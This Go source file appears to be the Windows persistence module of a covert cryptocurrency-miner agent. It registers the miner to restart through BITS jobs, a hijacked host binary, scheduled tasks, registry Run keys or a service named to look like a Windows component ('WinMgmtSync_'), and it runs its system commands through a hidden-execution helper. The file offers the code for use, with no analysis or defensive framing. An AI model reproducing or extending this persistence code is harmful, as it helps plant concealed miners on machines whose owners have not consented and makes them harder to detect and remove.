//go:build windows

package deploy

import (
	"crypto-miner-agent/config"
)

func scheduledTaskExists(taskName string) bool {
	return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
}

func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
	return registryRunValueExists(cfg, AutostartLogonRun, binPath)
}

func serviceExists(svcName string) bool {
	return HiddenRun("sc.exe", "query", svcName) == nil
}

// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
	switch cfg.RunAs {
	case "bits":
		if err := CreateBITSPersistence(cfg, installedBin); err != nil {
			return err
		}
	case "host_binary":
		if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
			return err
		}
	case "scheduled":
		if !scheduledTaskExists(PersistenceKeyName(cfg)) {
			if err := createScheduledTask(cfg, installedBin); err != nil {
				return err
			}
		}
	case "service":
		svcName := cfg.ServiceName
		if svcName == "" {
			svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
		}
		if !serviceExists(svcName) {
			if err := createWindowsService(cfg, installedBin); err != nil {
				return err
			}
		}
	}
	return ensureAutostartHooks(cfg, installedBin, true)
}
